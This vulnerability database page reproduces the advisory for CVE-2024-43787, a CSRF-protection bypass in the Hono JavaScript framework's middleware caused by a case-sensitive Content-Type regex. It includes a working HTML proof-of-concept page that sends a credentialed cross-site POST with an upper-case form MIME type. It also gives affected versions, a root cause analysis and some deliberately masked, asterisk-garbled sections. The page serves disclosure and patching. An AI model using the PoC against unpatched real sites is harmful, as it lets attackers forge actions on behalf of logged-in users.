5

CVSS Score

3.1

Basic Information

CVE ID

CVE-2024-43787

GHSA ID

GHSA-rpfr-3m35-5vx5

EPSS Score

0.03318%

CWE

CWE-352

Published

8/22/2024

Updated

11/18/2024

KEV Status

Technology

JavaScript

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

CVE-2024-43787

CVE-2024-43787: Hono CSRF middleware can be bypassed using crafted Content-Type header

Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header.

Details

MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".

PoC

<html>
  <head>
    <title>CSRF Test</title>
    <script defer>
      document.addEventListener("DOMContentLoaded", () => {
        document.getElementById("btn").addEventListener("click", async () => {
          const res = await fetch("http://victim.example.com/test", {
            method: "POST",
            credentials: "include",
            headers: {
              "Content-Type": "Application/x-www-form-urlencoded",
            },
          });
        });
      });
    </script>
  </head>
  <body>
    <h1>CSRF Test</h1>
    <button id="btn">Click me!</button>
  </body>
</html>

Impact

Bypass csrf protection implemented with hono csrf middleware.

Discussion

I'm not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

(GitHub Advisory)

5

CVSS Score

3.1

Basic Information

CVE ID

CVE-2024-43787

GHSA ID

GHSA-rpfr-3m35-5vx5

EPSS Score

0.03318%

CWE

CWE-352

Published

8/22/2024

Updated

11/18/2024

KEV Status

Technology

JavaScript

Technical Details

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
hono	npm	< 4.5.8	4.5.8

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability stems from the case-sensitive regex pattern in the CSRF middleware's Content-Type validation. The key evidence is: 1) The original regex (/application\/x-www-form-urlencoded/) lacked the 'i' flag 2) The fix added case-insensitivity via /i modifier 3) The PoC demonstrates exploitation using uppercase 'Application/x-www-form-urlencoded' 4) The test case added in the commit specifically checks this bypass scenario. The middleware's security logic relied on this regex to trigger CSRF validation, making the regex implementation the root vulnerable component.

Vulnerable functions

Only Mi**o us*rs **n s** t*is s**tion

WAF Protection Rules

WAF Rule

### Summ*ry *ono *SR* mi**l*w*r* **n ** *yp*ss** usin* *r**t** *ont*nt-Typ* *****r. ### **t*ils MIM* typ*s *r* **s* ins*nsitiv*, *ut `isR*qu*st***y*orm*l*m*ntR*` only m*t***s low*r-**s*. *ttps://*it*u*.*om/*onojs/*ono/*lo*/***********************

Reasoning

T** vuln*r**ility st*ms *rom t** **s*-s*nsitiv* r***x p*tt*rn in t** *SR* mi**l*w*r*'s *ont*nt-Typ* v*li**tion. T** k*y *vi**n** is: *) T** ori*in*l r***x (`/*ppli**tion\/x-www-*orm-url*n*o***/`) l**k** t** 'i' *l** *) T** *ix ***** **s*-ins*nsitivit

5

Basic Information

Concerned about an active attack path?

CVE-2024-43787: Hono CSRF middleware can be bypassed using crafted Content-Type header

Summary

Details

PoC

Impact

Discussion

5

Basic Information

Technical Details

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

WAF Protection Rules

WAF Rule

Reasoning

Vulnerability Intelligence
Miggo AI